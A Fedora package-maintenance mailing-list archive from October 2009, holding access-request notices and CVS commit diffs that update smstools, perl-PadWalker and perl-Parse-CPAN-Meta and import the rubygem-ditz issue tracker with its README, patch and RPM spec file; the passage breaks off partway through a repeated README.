Message-ID: <20091007150230.C86B510F880@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchbugzilla acl on smstools (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:32 +0000
Subject: [pkgdb] smstools: pcfe has requested watchcommits
Message-ID: <20091007150232.7B35D10F8A1@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchcommits acl on smstools (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:34 +0000
Subject: [pkgdb] smstools: pcfe has requested commit
Message-ID: <20091007150234.AB7A310F892@bastion2.fedora.phx.redhat.com>

pcfe has requested the commit acl on smstools (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From mmahut at fedoraproject.org  Wed Oct  7 15:04:37 2009
From: mmahut at fedoraproject.org (Marek Mahut)
Date: Wed,  7 Oct 2009 15:04:37 +0000 (UTC)
Subject: rpms/smstools/devel .cvsignore, 1.3, 1.4 smstools.spec, 1.9,
	1.10 sources, 1.3, 1.4
Message-ID: <20091007150437.1E6A911C00E6@cvs1.fedora.phx.redhat.com>

Author: mmahut

Update of /cvs/pkgs/rpms/smstools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9876

Modified Files:
	.cvsignore smstools.spec sources 
Log Message:
RHBZ  Bug 510849 -  please bump version to 3.1.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/smstools/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	20 Dec 2008 12:17:16 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:04:36 -0000	1.4
@@ -1 +1 @@
-smstools3-3.1.3.tar.gz
+smstools3-3.1.5.tar.gz


Index: smstools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smstools/devel/smstools.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- smstools.spec	27 Jul 2009 04:30:49 -0000	1.9
+++ smstools.spec	7 Oct 2009 15:04:36 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           smstools
-Version:        3.1.3
-Release:        7%{?dist}
+Version:        3.1.5
+Release:        1%{?dist}
 Summary:        Tools to send and receive short messages through GSM modems or mobile phones
 
 License:        GPLv2+
@@ -9,7 +9,6 @@ URL:            http://smstools3.kekekas
 Source0:        http://smstools3.kekekasvi.com/packages/smstools3-%{version}.tar.gz
 Source1 :       smsd.init
 Source2:        smsd.logrotate
-Patch0:		smstools3-3.1.3-perm.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
@@ -24,14 +23,13 @@ programs for automatic actions. 
 
 %prep
 %setup -q -n smstools3
-%patch0 -p1 -b .perm
 mv doc manual
 mv examples/.procmailrc examples/procmailrc
 mv examples/.qmailrc examples/qmailrc
 find scripts/ examples/ manual/ -type f -print0 |xargs -0 chmod 644
 
 %build
-make -C src 'CFLAGS=%{optflags} -DNOSTATS' %{_smp_mflags}
+make -C src 'CFLAGS=%{optflags} -DNOSTATS -D NUMBER_OF_MODEMS=64' %{_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -90,6 +88,11 @@ fi
 
 
 %changelog
+* Sun Sep 6 2009 Ptrick C. F. Ernzer <smstools.spec at pcfe.net> 3.1.5-1
+- bump to 3.1.5
+- removed perm patch
+- added -D NUMBER_OF_MODEMS=64 to make line
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.3-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/smstools/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	20 Dec 2008 12:17:16 -0000	1.3
+++ sources	7 Oct 2009 15:04:36 -0000	1.4
@@ -1 +1 @@
-bfec9dc1f8ae37fd5b189676f60c657c  smstools3-3.1.3.tar.gz
+dbdb21ba3f58ebdecc9e1d356a01a72c  smstools3-3.1.5.tar.gz



From kasal at fedoraproject.org  Wed Oct  7 15:05:13 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 15:05:13 +0000 (UTC)
Subject: rpms/perl-PadWalker/devel .cvsignore, 1.8, 1.9 perl-PadWalker.spec, 
	1.14, 1.15 sources, 1.8, 1.9
Message-ID: <20091007150513.9E8C211C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-PadWalker/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10083

Modified Files:
	.cvsignore perl-PadWalker.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-PadWalker/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	22 Feb 2008 00:26:04 -0000	1.8
+++ .cvsignore	7 Oct 2009 15:05:13 -0000	1.9
@@ -1 +1 @@
-PadWalker-1.7.tar.gz
+PadWalker-1.9.tar.gz


Index: perl-PadWalker.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-PadWalker/devel/perl-PadWalker.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- perl-PadWalker.spec	26 Jul 2009 14:03:57 -0000	1.14
+++ perl-PadWalker.spec	7 Oct 2009 15:05:13 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           perl-PadWalker
-Version:        1.7
-Release:        4%{?dist}
+Version:        1.9
+Release:        1%{?dist}
 Summary:        Play with other peoples' lexical variables
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.9-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-PadWalker/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	22 Feb 2008 00:26:04 -0000	1.8
+++ sources	7 Oct 2009 15:05:13 -0000	1.9
@@ -1 +1 @@
-0844dcf349349b793cd7a095784e738c  PadWalker-1.7.tar.gz
+8d7e25f522294aee21d8a5b4c1c70ed9  PadWalker-1.9.tar.gz



From hpejakle at fedoraproject.org  Wed Oct  7 15:13:47 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed,  7 Oct 2009 15:13:47 +0000 (UTC)
Subject: rpms/rubygem-ditz/devel README.txt, NONE, 1.1 fix-ruby1.8-dep.patch,
	NONE, 1.1 import.log, NONE, 1.1 rubygem-ditz.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091007151347.5AF0111C00E6@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-ditz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12330/devel

Modified Files:
	.cvsignore sources 
Added Files:
	README.txt fix-ruby1.8-dep.patch import.log rubygem-ditz.spec 
Log Message:
initial version


--- NEW FILE README.txt ---
== ditz

by William Morgan <wmorgan-ditz at the masanjin dot nets>

http://ditz.rubyforge.org

== DESCRIPTION

Ditz is a simple, light-weight distributed issue tracker designed to work with
distributed version control systems like git, darcs, Mercurial, and Bazaar. It
can also be used with centralized systems like SVN.

Ditz maintains an issue database directory on disk, with files written in a
line-based and human-editable format. This directory can be kept under version
control, alongside project code.

Ditz provides a simple, console-based interface for creating and updating the
issue database files, and some basic static HTML generation capabilities for
producing world-readable status pages (for a demo, see the ditz ditz page).

Ditz includes a robust plugin system for adding commands, model fields, and
modifying output. See PLUGINS.txt for documentation on the pre-shipped plugins.

Ditz currently offers no central public method of bug submission. 

== USING DITZ

There are several different ways to use Ditz:

1. Treat issue change the same as code change: include it as part of commits,
   and merge it with changes from other developers, resolving conflicts in the
   usual manner.
2. Keep the issue database in the repository but in a separate branch. Issue
   changes can be managed by your VCS, but is not tied directly to code
   commits.
3. Keep the issue database separate and not under VCS at all.

All of these options are supported; the choice of which to use depends on your
workflow.

Option #1 is probably most appropriate for the unsynchronized, distributed
development, since it allows individual developers to modify issue state with a
minimum of hassle. Option #2 is most suitable for synchronized development, as
issue state change can be transmitted independently of code change (see also
the git-sync plugin) and can act as a sychronization mechanism. Option #3 is
only useful with some other distribution mechanism, like a central web
interface.

== COMMANDLINE SYNOPSIS

# set up project. creates the bugs.yaml file.
1. ditz init
2. ditz add-release

# add an issue
3. ditz add

# where am i?
4. ditz status
5. ditz todo (or simply "ditz")

# do work
6. write code
7. ditz close <issue-id>
8. commit
9. goto 3

# finished!
10. ditz release <release-name>

== THE DITZ DATA MODEL

By default, Ditz includes the bare minimum set of features necessary for
open-source development. Features like time spent, priority, assignment of
tasks to developers, due dates, etc. are purposely relegated to the plugin
system.

A Ditz project consists of issues, releases and components.

Issues:
  Issues are the fundamental currency of issue tracking. A Ditz issue is either
  a feature or a bug, but this distinction currently doesn't affect anything
  other than how they're displayed.

  Each issue belongs to exactly one component, and is part of zero or one
  releases.

  Each issues has an exportable id, in the form of 40 random hex characters.
  This id is "guaranteed" to be unique across all possible issues and
  developers, present and future. Issue ids are typically not exposed to the
  user.

  Issues also have a non-global, non-exportable name, which is short and
  human-readable. All Ditz commands use issue names in addition to issue ids.
  Issue names (but not issue ids) may change in certain circumstances, e.g.
  after a "ditz drop" command.

  Issue names can be specified in comments, titles and descriptions, and Ditz
  will automatically rewrite them as necessary when they change.

Components:
  There is always one "general" component, named after the project itself. In
  the simplest case, this is the only component, and the user is never bothered
  with the question of which component to assign an issue to.

  Components simply provide a way of organizing issues, and have no real
  functionality. Issues names are derived from the component they're assigned
  to.

Releases:
  A release is the primary grouping mechanism for issues. Status commands like
  "ditz status" and "ditz todo" always group issues by release. When a release
  is 100% complete, it can be marked as released, and its issues will cease
  appearing in Ditz status and todo messages.

== LEARNING MORE

* ditz help
* find $DITZ_INSTALL_DIR -type f | xargs cat

== REQUIREMENTS

* trollop >= 1.8.2, if running via RubyGems.

== INSTALLATION

Download tarballs from http://rubyforge.org/projects/ditz/, or command your
computer to "gem install ditz".

== LICENSE

Copyright (c) 2008 William Morgan.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Additionally, this program may be linked to, distributed with, used with,
and/or loaded with the Ruby "Trollop" library.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.


fix-ruby1.8-dep.patch:
 ditz |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE fix-ruby1.8-dep.patch ---
diff -Nur ditz-0.5.orig/bin/ditz ditz-0.5/bin/ditz
--- ditz-0.5.orig/bin/ditz	2008-08-20 15:58:35.000000000 -0400
+++ ditz-0.5/bin/ditz	2009-01-25 13:28:26.000000000 -0500
@@ -1,4 +1,4 @@
-#!/usr/bin/ruby1.8
+#!/usr/bin/ruby
 
 ## requires are split in two for efficiency reasons: ditz should be really
 ## fast when using it for completion.


--- NEW FILE import.log ---
rubygem-ditz-0_5-4_fc11:HEAD:rubygem-ditz-0.5-4.fc11.src.rpm:1254928410


--- NEW FILE rubygem-ditz.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname ditz
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line issue tracker
Name:		rubygem-%{gemname}
Version:	0.5
Release:	4%{?dist}
Group:		Applications/Productivity
License:	GPLv3+ with exceptions
URL:		http://ditz.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygem(trollop)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygems
BuildRequires:	rubygem(rake)
BuildRequires:	rubygem(hoe)
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://rubyforge.org/frs/download.php/41559/ditz-%{version}.tgz
# available from following link or git repository for ditz project
Source1:	http://gitorious.org/ditz/mainline/blobs/raw/master/README.txt
Patch1:		fix-ruby1.8-dep.patch

%description
A command-line issue tracker written in ruby.

%prep
%setup -n %{gemname}-%{version} -q
%patch1 -p1 -b .fix-ruby1.8-dep
cp -p %{SOURCE1} README.txt

%build
rake package

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc pkg/%{gemname}-%{version}.gem
mkdir -p %{buildroot}/%{_bindir}
cd %{buildroot}/%{_bindir}
ln -s ../../%{gemdir}/bin/ditz ditz
rm %{buildroot}/%{geminstdir}/lib/trollop.rb
mkdir -p %{buildroot}/%{_mandir}/man1
cd %{buildroot}/%{_mandir}/man1
gzip %{buildroot}/%{geminstdir}/man/ditz.1
ln -s ../../../../%{geminstdir}/man/ditz.1 ditz.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}/
%{geminstdir}/bin
%{geminstdir}/contrib
%{geminstdir}/INSTALL
%{geminstdir}/lib
%{geminstdir}/man
%{geminstdir}/Manifest.txt
%{geminstdir}/Rakefile
%{geminstdir}/setup.rb
%{geminstdir}/www
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/PLUGINS.txt
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/Changelog
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/ReleaseNotes
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec
%{gemdir}/bin/ditz
%{_bindir}/%{gemname}
%{_mandir}/man1/*

%changelog
* Sun Oct 04 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-4
- moved more files into %%doc

* Sat Oct 03 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-3
- fixed duplicate files, fixed macros usage, changed license to "GPLv3+ with exceptions"

* Wed Sep 30 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-2
- Added README from git repository with permission to link against trollop library

* Mon Sep 21 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-1
- Change of maintainer, rpmlint warnings cleanup

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 0.5-0
- Initial release of ditz.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:29:33 -0000	1.1
+++ .cvsignore	7 Oct 2009 15:13:45 -0000	1.2
@@ -0,0 +1 @@
+ditz-0.5.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:29:33 -0000	1.1
+++ sources	7 Oct 2009 15:13:46 -0000	1.2
@@ -0,0 +1 @@
+324bdbef5b01f4d70288e9416fc8b952  ditz-0.5.tgz



From kasal at fedoraproject.org  Wed Oct  7 15:15:28 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 15:15:28 +0000 (UTC)
Subject: rpms/perl-Parse-CPAN-Meta/devel .cvsignore, 1.5,
	1.6 perl-Parse-CPAN-Meta.spec, 1.6, 1.7 sources, 1.5, 1.6
Message-ID: <20091007151528.43B3411C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Parse-CPAN-Meta/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12640

Modified Files:
	.cvsignore perl-Parse-CPAN-Meta.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Parse-CPAN-Meta/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	14 Jun 2009 20:25:18 -0000	1.5
+++ .cvsignore	7 Oct 2009 15:15:27 -0000	1.6
@@ -1 +1 @@
-Parse-CPAN-Meta-1.39.tar.gz
+Parse-CPAN-Meta-1.40.tar.gz


Index: perl-Parse-CPAN-Meta.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Parse-CPAN-Meta/devel/perl-Parse-CPAN-Meta.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Parse-CPAN-Meta.spec	30 Jul 2009 22:24:56 -0000	1.6
+++ perl-Parse-CPAN-Meta.spec	7 Oct 2009 15:15:28 -0000	1.7
@@ -1,15 +1,15 @@
 Name:           perl-Parse-CPAN-Meta
-Version:        1.39
-Release:        2%{?dist}
+Version:        1.40
+Release:        1%{?dist}
 Summary:        Parse META.yml and other similar CPAN metadata files
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/Parse-CPAN-Meta/
-Source0:        http://search.cpan.org/CPAN/authors/id/A/AD/ADAMK/Parse-CPAN-Meta-%{version}.tar.gz
+Source0:        http://search.cpan.org/CPAN/authors/id/S/SM/SMUELLER/Parse-CPAN-Meta-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl(ExtUtils::MakeMaker)
-BuildRequires:  perl(Test::More) >= 0.47
+BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -29,7 +29,7 @@ rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} \;
 
 %{_fixperms} $RPM_BUILD_ROOT/*
 
@@ -46,6 +46,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.40-1
+- new upstream version
+
 * Thu Jul 30 2009 Jesse Keating <jkeating at redhat.com> - 1.39-2
 - Bump for F12 mass rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Parse-CPAN-Meta/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	14 Jun 2009 20:25:19 -0000	1.5
+++ sources	7 Oct 2009 15:15:28 -0000	1.6
@@ -1 +1 @@
-b5c927089b30ced441ad4677a8bc4d0d  Parse-CPAN-Meta-1.39.tar.gz
+13038b57d3f253f8851323ba9db0b1a1  Parse-CPAN-Meta-1.40.tar.gz



From hpejakle at fedoraproject.org  Wed Oct  7 15:16:45 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed,  7 Oct 2009 15:16:45 +0000 (UTC)
Subject: rpms/rubygem-ditz/EL-5 README.txt, NONE, 1.1 fix-ruby1.8-dep.patch, 
	NONE, 1.1 import.log, NONE, 1.1 rubygem-ditz.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091007151645.4E10F11C00E6@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-ditz/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12847/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	README.txt fix-ruby1.8-dep.patch import.log rubygem-ditz.spec 
Log Message:
initial version


--- NEW FILE README.txt ---
== ditz

by William Morgan <wmorgan-ditz at the masanjin dot nets>

http://ditz.rubyforge.org

== DESCRIPTION

Ditz is a simple, light-weight distributed issue tracker designed to work with
distributed version control systems like git, darcs, Mercurial, and Bazaar. It
can also be used with centralized systems like SVN.

Ditz maintains an issue database directory on disk, with files written in a
line-based and human-editable format. This directory can be kept under version
control, alongside project code.

Ditz provides a simple, console-based interface for creating and updating the
issue database files, and some basic static HTML generation capabilities for
producing world-readable status pages (for a demo, see the ditz ditz page).

Ditz includes a robust plugin system for adding commands, model fields, and
modifying output. See PLUGINS.txt for documentation on the pre-shipped plugins.

Ditz currently offers no central public method of bug submission. 

== USING DITZ

There are several different ways to use Ditz:

1. Treat issue change the same as code change: include it as part of commits,
   and merge it with changes from other developers, resolving conflicts in the
   usual manner.
2. Keep the issue database in the repository but in a separate branch. Issue
   changes can be managed by your VCS, but is not tied directly to code
   commits.
3. Keep the issue database separate and not under VCS at all.

All of these options are supported; the choice of which to use depends on your
workflow.

Option #1 is probably most appropriate for the unsynchronized, distributed
development, since it allows individual developers to modify issue state with a
minimum of hassle. Option #2 is most suitable for synchronized development, as
issue state change can be transmitted independently of code change (see also
the git-sync plugin) and can act as a sychronization mechanism. Option #3 is
only useful with some other distribution mechanism, like a central web
interface.

== COMMANDLINE SYNOPSIS

# set up project. creates the bugs.yaml file.
1. ditz init
2. ditz add-release

# add an issue
3. ditz add

# where am i?
4. ditz status
5. ditz todo (or simply "ditz")

# do work
6. write code
7. ditz close <issue-id>
8. commit
9. goto 3

# finished!
10. ditz release <release-name>

== THE DITZ DATA MODEL

By default, Ditz includes the bare minimum set of features necessary for
open-source development. Features like time spent, priority, assignment of
tasks to developers, due dates, etc. are purposely relegated to the plugin
system.

A Ditz project consists of issues, releases and components.

Issues:
  Issues are the fundamental currency of issue tracking. A Ditz issue is either
  a feature or a bug, but this distinction currently doesn't affect anything
  other than how they're displayed.

  Each issue belongs to exactly one component, and is part of zero or one
  releases.

  Each issues has an exportable id, in the form of 40 random hex characters.
  This id is "guaranteed" to be unique across all possible issues and
  developers, present and future. Issue ids are typically not exposed to the
  user.

  Issues also have a non-global, non-exportable name, which is short and
  human-readable. All Ditz commands use issue names in addition to issue ids.
  Issue names (but not issue ids) may change in certain circumstances, e.g.
  after a "ditz drop" command.

  Issue names can be specified in comments, titles and descriptions, and Ditz
  will automatically rewrite them as necessary when they change.

Components:
  There is always one "general" component, named after the project itself. In
  the simplest case, this is the only component, and the user is never bothered
  with the question of which component to assign an issue to.

  Components simply provide a way of organizing issues, and have no real
  functionality. Issues names are derived from the component they're assigned
  to.

Releases:
  A release is the primary grouping mechanism for issues. Status commands like
  "ditz status" and "ditz todo" always group issues by release. When a release
  is 100% complete, it can be marked as released, and its issues will cease
  appearing in Ditz status and todo messages.

== LEARNING MORE

* ditz help
* find $DITZ_INSTALL_DIR -type f | xargs cat

== REQUIREMENTS

* trollop >= 1.8.2, if running via RubyGems.

== INSTALLATION

Download tarballs from http://rubyforge.org/projects/ditz/, or command your
computer to "gem install ditz".

== LICENSE

Copyright (c) 2008 William Morgan.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Additionally, this program may be linked to, distributed with, used with,
and/or loaded with the Ruby "Trollop" library.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.


fix-ruby1.8-dep.patch:
 ditz |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE fix-ruby1.8-dep.patch ---
diff -Nur ditz-0.5.orig/bin/ditz ditz-0.5/bin/ditz
--- ditz-0.5.orig/bin/ditz	2008-08-20 15:58:35.000000000 -0400
+++ ditz-0.5/bin/ditz	2009-01-25 13:28:26.000000000 -0500
@@ -1,4 +1,4 @@
-#!/usr/bin/ruby1.8
+#!/usr/bin/ruby
 
 ## requires are split in two for efficiency reasons: ditz should be really
 ## fast when using it for completion.


--- NEW FILE import.log ---
rubygem-ditz-0_5-4_fc11:EL-5:rubygem-ditz-0.5-4.fc11.src.rpm:1254928456


--- NEW FILE rubygem-ditz.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname ditz
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line issue tracker
Name:		rubygem-%{gemname}
Version:	0.5
Release:	4%{?dist}
Group:		Applications/Productivity
License:	GPLv3+ with exceptions
URL:		http://ditz.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygem(trollop)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygems
BuildRequires:	rubygem(rake)
BuildRequires:	rubygem(hoe)
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://rubyforge.org/frs/download.php/41559/ditz-%{version}.tgz
# available from following link or git repository for ditz project
Source1:	http://gitorious.org/ditz/mainline/blobs/raw/master/README.txt
Patch1:		fix-ruby1.8-dep.patch

%description
A command-line issue tracker written in ruby.

%prep
%setup -n %{gemname}-%{version} -q
%patch1 -p1 -b .fix-ruby1.8-dep
cp -p %{SOURCE1} README.txt

%build
rake package

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc pkg/%{gemname}-%{version}.gem
mkdir -p %{buildroot}/%{_bindir}
cd %{buildroot}/%{_bindir}
ln -s ../../%{gemdir}/bin/ditz ditz
rm %{buildroot}/%{geminstdir}/lib/trollop.rb
mkdir -p %{buildroot}/%{_mandir}/man1
cd %{buildroot}/%{_mandir}/man1
gzip %{buildroot}/%{geminstdir}/man/ditz.1
ln -s ../../../../%{geminstdir}/man/ditz.1 ditz.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}/
%{geminstdir}/bin
%{geminstdir}/contrib
%{geminstdir}/INSTALL
%{geminstdir}/lib
%{geminstdir}/man
%{geminstdir}/Manifest.txt
%{geminstdir}/Rakefile
%{geminstdir}/setup.rb
%{geminstdir}/www
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/PLUGINS.txt
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/Changelog
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/ReleaseNotes
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec
%{gemdir}/bin/ditz
%{_bindir}/%{gemname}
%{_mandir}/man1/*

%changelog
* Sun Oct 04 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-4
- moved more files into %%doc

* Sat Oct 03 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-3
- fixed duplicate files, fixed macros usage, changed license to "GPLv3+ with exceptions"

* Wed Sep 30 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-2
- Added README from git repository with permission to link against trollop library

* Mon Sep 21 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-1
- Change of maintainer, rpmlint warnings cleanup

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 0.5-0
- Initial release of ditz.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:29:33 -0000	1.1
+++ .cvsignore	7 Oct 2009 15:16:44 -0000	1.2
@@ -0,0 +1 @@
+ditz-0.5.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:29:33 -0000	1.1
+++ sources	7 Oct 2009 15:16:45 -0000	1.2
@@ -0,0 +1 @@
+324bdbef5b01f4d70288e9416fc8b952  ditz-0.5.tgz



From hpejakle at fedoraproject.org  Wed Oct  7 15:18:03 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed,  7 Oct 2009 15:18:03 +0000 (UTC)
Subject: rpms/rubygem-ditz/F-10 README.txt, NONE, 1.1 fix-ruby1.8-dep.patch, 
	NONE, 1.1 import.log, NONE, 1.1 rubygem-ditz.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091007151804.021A811C00E6@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-ditz/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13426/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	README.txt fix-ruby1.8-dep.patch import.log rubygem-ditz.spec 
Log Message:
initial version


--- NEW FILE README.txt ---
== ditz

by William Morgan <wmorgan-ditz at the masanjin dot nets>

http://ditz.rubyforge.org

== DESCRIPTION

Ditz is a simple, light-weight distributed issue tracker designed to work with
distributed version control systems like git, darcs, Mercurial, and Bazaar. It
